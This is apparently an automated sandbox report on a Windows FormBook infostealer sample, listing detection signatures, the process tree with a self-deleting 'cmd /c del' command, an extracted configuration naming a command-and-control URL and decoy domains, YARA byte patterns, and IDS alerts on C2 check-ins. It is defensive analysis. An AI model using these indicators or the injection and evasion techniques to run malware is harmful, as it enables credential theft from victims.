Play interactive tour

Edit tour

Windows Analysis Report SRMETALINDUSTRIES.exe

Overview

General Information

Sample Name:	SRMETALINDUSTRIES.exe
Analysis ID:	483595
MD5:	51fb6f484b4bc554a7fddb7dc24c994e
SHA1:	6548d2e4c988457deb2a3435220f3252367462f3
SHA256:	4b9ec9143ae2471c8cf540f5e3815c4ca4bb5e073d5c45e6bd934cc0350e8546
Tags:	exexloader
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Yara detected AntiVM3

System process connects to network (likely due to code injection or exploit)

Sigma detected: Suspect Svchost Activity

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Self deletion via cmd delete

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Sigma detected: Suspicious Svchost Process

Queues an APC in another process (thread injection)

.NET source code contains very large strings

Tries to detect virtualization through RDTSC time measurements

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Contains functionality to read the PEB

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

SRMETALINDUSTRIES.exe (PID: 6164 cmdline: 'C:\Users\user\Desktop\SRMETALINDUSTRIES.exe' MD5: 51FB6F484B4BC554A7FDDB7DC24C994E)

SRMETALINDUSTRIES.exe (PID: 1260 cmdline: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe MD5: 51FB6F484B4BC554A7FDDB7DC24C994E)

explorer.exe (PID: 3440 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

svchost.exe (PID: 1972 cmdline: C:\Windows\SysWOW64\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

cmd.exe (PID: 2456 cmdline: /c del 'C:\Users\user\Desktop\SRMETALINDUSTRIES.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.nordicbatterybelt.net/n58i/"], "decoy": ["southerncircumstance.com", "mcsasco.com", "ifbrick.com", "societe-anonyme.net", "bantank.xyz", "dogecoin.beauty", "aboutacoffee.com", "babalandlordrealestate.com", "tintgta.com", "integrity.directory", "parwnr.icu", "poltishof.online", "stayandstyle.com", "ickjeame.xyz", "currentmotors.ca", "pond.fund", "petrosterzis.com", "deadbydaylightpoints.com", "hotel-balzac.paris", "focusmaintainance.com", "odeonmarket.com", "voeran.net", "lookailpop.xyz", "sashaignatenko.com", "royalgreenvillage.com", "airbhouse.com", "zl-dz.com", "fuwuxz.com", "wugupihuhepop.xyz", "zmdhysm.com", "luchin.site", "rnchaincvkbip.xyz", "fffddfrfqffrtgthhhbhffgfr.com", "goabbasoon.info", "booyahbucks.com", "ilovecoventry.com", "components-electronics.com", "advindustry.com", "browandline.com", "hotnspicy.site", "marlonj26.com", "holidays24.net", "starworks.online", "mbchaindogbbc.xyz", "3wouqg.com", "evnfreesx.com", "baureihe51.com", "hycelassetmanagement.space", "photostickomni-trendyfinds.com", "singisa4letterword.com", "thklw.online", "menramen.com", "highspeedinternetinc.com", "beerenhunger.info", "hisensor.world", "lassurancevalence.com", "clementchanlab.com", "customia.xyz", "alysvera-centroestetico.com", "cx-xiezuo.com", "index-mp3.com", "mybenefits51.com", "vyhozoi.site", "lingerista.net"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.611035350.0000000000E30000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.611035350.0000000000E30000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.611035350.0000000000E30000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ac9:$sqlite3step: 68 34 1C 7B E1 0x16bdc:$sqlite3step: 68 34 1C 7B E1 0x16af8:$sqlite3text: 68 38 2A 90 C5 0x16c1d:$sqlite3text: 68 38 2A 90 C5 0x16b0b:$sqlite3blob: 68 53 D8 7F 8C 0x16c33:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.422353517.0000000000F00000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.422353517.0000000000F00000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.422353517.0000000000F00000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ac9:$sqlite3step: 68 34 1C 7B E1 0x16bdc:$sqlite3step: 68 34 1C 7B E1 0x16af8:$sqlite3text: 68 38 2A 90 C5 0x16c1d:$sqlite3text: 68 38 2A 90 C5 0x16b0b:$sqlite3blob: 68 53 D8 7F 8C 0x16c33:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000002.610962252.0000000000E00000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.610962252.0000000000E00000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.610962252.0000000000E00000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ac9:$sqlite3step: 68 34 1C 7B E1 0x16bdc:$sqlite3step: 68 34 1C 7B E1 0x16af8:$sqlite3text: 68 38 2A 90 C5 0x16c1d:$sqlite3text: 68 38 2A 90 C5 0x16b0b:$sqlite3blob: 68 53 D8 7F 8C 0x16c33:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000000.386735863.0000000007648000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000000.386735863.0000000007648000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x46a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x4191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x47a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9b97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000000.386735863.0000000007648000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x6ac9:$sqlite3step: 68 34 1C 7B E1 0x6bdc:$sqlite3step: 68 34 1C 7B E1 0x6af8:$sqlite3text: 68 38 2A 90 C5 0x6c1d:$sqlite3text: 68 38 2A 90 C5 0x6b0b:$sqlite3blob: 68 53 D8 7F 8C 0x6c33:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.356803030.0000000002802000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000005.00000000.401938701.0000000007648000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000000.401938701.0000000007648000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x46a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x4191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x47a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9b97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000000.401938701.0000000007648000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x6ac9:$sqlite3step: 68 34 1C 7B E1 0x6bdc:$sqlite3step: 68 34 1C 7B E1 0x6af8:$sqlite3text: 68 38 2A 90 C5 0x6c1d:$sqlite3text: 68 38 2A 90 C5 0x6b0b:$sqlite3blob: 68 53 D8 7F 8C 0x6c33:$sqlite3blob: 68 53 D8 7F 8C
00000009.00000002.610457709.0000000000590000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000009.00000002.610457709.0000000000590000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000009.00000002.610457709.0000000000590000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ac9:$sqlite3step: 68 34 1C 7B E1 0x16bdc:$sqlite3step: 68 34 1C 7B E1 0x16af8:$sqlite3text: 68 38 2A 90 C5 0x16c1d:$sqlite3text: 68 38 2A 90 C5 0x16b0b:$sqlite3blob: 68 53 D8 7F 8C 0x16c33:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.422322216.0000000000ED0000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.422322216.0000000000ED0000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.422322216.0000000000ED0000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ac9:$sqlite3step: 68 34 1C 7B E1 0x16bdc:$sqlite3step: 68 34 1C 7B E1 0x16af8:$sqlite3text: 68 38 2A 90 C5 0x16c1d:$sqlite3text: 68 38 2A 90 C5 0x16b0b:$sqlite3blob: 68 53 D8 7F 8C 0x16c33:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.357083874.00000000037F9000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.357083874.00000000037F9000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85830:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x85bca:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xad650:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0xad9ea:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x918dd:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0xb96fd:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x913c9:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0xb91e9:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x919df:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0xb97ff:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x91b57:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xb9977:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x865e2:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0xae402:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x90644:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb8464:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x8735a:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0xaf17a:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x96dcf:$sequence_8: 3C 54 74 04 3C 74 75 F4 0xbebef:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x97e72:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.357083874.00000000037F9000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x93d01:$sqlite3step: 68 34 1C 7B E1 0x93e14:$sqlite3step: 68 34 1C 7B E1 0xbbb21:$sqlite3step: 68 34 1C 7B E1 0xbbc34:$sqlite3step: 68 34 1C 7B E1 0x93d30:$sqlite3text: 68 38 2A 90 C5 0x93e55:$sqlite3text: 68 38 2A 90 C5 0xbbb50:$sqlite3text: 68 38 2A 90 C5 0xbbc75:$sqlite3text: 68 38 2A 90 C5 0x93d43:$sqlite3blob: 68 53 D8 7F 8C 0x93e6b:$sqlite3blob: 68 53 D8 7F 8C 0xbbb63:$sqlite3blob: 68 53 D8 7F 8C 0xbbc8b:$sqlite3blob: 68 53 D8 7F 8C
00000004.00000002.421818321.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000004.00000002.421818321.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000004.00000002.421818321.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ac9:$sqlite3step: 68 34 1C 7B E1 0x16bdc:$sqlite3step: 68 34 1C 7B E1 0x16af8:$sqlite3text: 68 38 2A 90 C5 0x16c1d:$sqlite3text: 68 38 2A 90 C5 0x16b0b:$sqlite3blob: 68 53 D8 7F 8C 0x16c33:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: SRMETALINDUSTRIES.exe PID: 6164	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.SRMETALINDUSTRIES.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
4.2.SRMETALINDUSTRIES.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8992:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x146a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x147a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1491f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x93aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1340c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa122:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19b97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ac3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
4.2.SRMETALINDUSTRIES.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x16ac9:$sqlite3step: 68 34 1C 7B E1 0x16bdc:$sqlite3step: 68 34 1C 7B E1 0x16af8:$sqlite3text: 68 38 2A 90 C5 0x16c1d:$sqlite3text: 68 38 2A 90 C5 0x16b0b:$sqlite3blob: 68 53 D8 7F 8C 0x16c33:$sqlite3blob: 68 53 D8 7F 8C
4.2.SRMETALINDUSTRIES.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
4.2.SRMETALINDUSTRIES.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77f8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b92:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x138a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x139a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x85aa:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1260c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9322:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18d97:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19e3a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
4.2.SRMETALINDUSTRIES.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x15cc9:$sqlite3step: 68 34 1C 7B E1 0x15ddc:$sqlite3step: 68 34 1C 7B E1 0x15cf8:$sqlite3text: 68 38 2A 90 C5 0x15e1d:$sqlite3text: 68 38 2A 90 C5 0x15d0b:$sqlite3blob: 68 53 D8 7F 8C 0x15e33:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 1 entries

Sigma Overview

System Summary:

Sigma detected: Suspect Svchost Activity

Show sources

Source: Process started

Author: David Burkett: Data: Command: C:\Windows\SysWOW64\svchost.exe, CommandLine: C:\Windows\SysWOW64\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 3440, ProcessCommandLine: C:\Windows\SysWOW64\svchost.exe, ProcessId: 1972

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\SysWOW64\svchost.exe, CommandLine: C:\Windows\SysWOW64\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 3440, ProcessCommandLine: C:\Windows\SysWOW64\svchost.exe, ProcessId: 1972

Sigma detected: Windows Processes Suspicious Parent Directory

Show sources

Source: Process started

Author: vburov: Data: Command: C:\Windows\SysWOW64\svchost.exe, CommandLine: C:\Windows\SysWOW64\svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\Explorer.EXE, ParentImage: C:\Windows\explorer.exe, ParentProcessId: 3440, ProcessCommandLine: C:\Windows\SysWOW64\svchost.exe, ProcessId: 1972

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000009.00000002.611035350.0000000000E30000.00000004.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.nordicbatterybelt.net/n58i/"], "decoy": ["southerncircumstance.com", "mcsasco.com", "ifbrick.com", "societe-anonyme.net", "bantank.xyz", "dogecoin.beauty", "aboutacoffee.com", "babalandlordrealestate.com", "tintgta.com", "integrity.directory", "parwnr.icu", "poltishof.online", "stayandstyle.com", "ickjeame.xyz", "currentmotors.ca", "pond.fund", "petrosterzis.com", "deadbydaylightpoints.com", "hotel-balzac.paris", "focusmaintainance.com", "odeonmarket.com", "voeran.net", "lookailpop.xyz", "sashaignatenko.com", "royalgreenvillage.com", "airbhouse.com", "zl-dz.com", "fuwuxz.com", "wugupihuhepop.xyz", "zmdhysm.com", "luchin.site", "rnchaincvkbip.xyz", "fffddfrfqffrtgthhhbhffgfr.com", "goabbasoon.info", "booyahbucks.com", "ilovecoventry.com", "components-electronics.com", "advindustry.com", "browandline.com", "hotnspicy.site", "marlonj26.com", "holidays24.net", "starworks.online", "mbchaindogbbc.xyz", "3wouqg.com", "evnfreesx.com", "baureihe51.com", "hycelassetmanagement.space", "photostickomni-trendyfinds.com", "singisa4letterword.com", "thklw.online", "menramen.com", "highspeedinternetinc.com", "beerenhunger.info", "hisensor.world", "lassurancevalence.com", "clementchanlab.com", "customia.xyz", "alysvera-centroestetico.com", "cx-xiezuo.com", "index-mp3.com", "mybenefits51.com", "vyhozoi.site", "lingerista.net"]}

Multi AV Scanner detection for submitted file

Show sources

Source: SRMETALINDUSTRIES.exe

ReversingLabs: Detection: 20%

Yara detected FormBook

Show sources

Source: Yara match	File source: 4.2.SRMETALINDUSTRIES.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SRMETALINDUSTRIES.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.611035350.0000000000E30000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.422353517.0000000000F00000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.610962252.0000000000E00000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.386735863.0000000007648000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.401938701.0000000007648000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.610457709.0000000000590000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.422322216.0000000000ED0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.357083874.00000000037F9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.421818321.0000000000400000.00000040.00000001.sdmp, type: MEMORY

Machine Learning detection for sample

Show sources

Source: SRMETALINDUSTRIES.exe

Joe Sandbox ML: detected

Source: 4.2.SRMETALINDUSTRIES.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Source: SRMETALINDUSTRIES.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: SRMETALINDUSTRIES.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wntdll.pdbUGP source: SRMETALINDUSTRIES.exe, 00000004.00000002.423283417.000000000149F000.00000040.00000001.sdmp, svchost.exe, 00000009.00000002.612928123.000000000351F000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: SRMETALINDUSTRIES.exe, 00000004.00000002.423283417.000000000149F000.00000040.00000001.sdmp, svchost.exe
Source:	Binary string: svchost.pdb source: SRMETALINDUSTRIES.exe, 00000004.00000002.424002139.0000000001800000.00000040.00020000.sdmp
Source:	Binary string: svchost.pdbUGP source: SRMETALINDUSTRIES.exe, 00000004.00000002.424002139.0000000001800000.00000040.00020000.sdmp

Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4x nop then pop edi
Source: C:\Users\user\Desktop\SRMETALINDUSTRIES.exe	Code function: 4x nop then pop edi
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then pop edi
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then pop edi

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49815 -> 44.227.65.245:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49815 -> 44.227.65.245:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.6:49815 -> 44.227.65.245:80

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.hisensor.world
Source: C:\Windows\explorer.exe	Domain query: www.integrity.directory
Source: C:\Windows\explorer.exe	Network Connect: 13.250.255.10 80
Source: C:\Windows\explorer.exe	Domain query: www.sashaignatenko.com
Source: C:\Windows\explorer.exe	Domain query: www.ifbrick.com
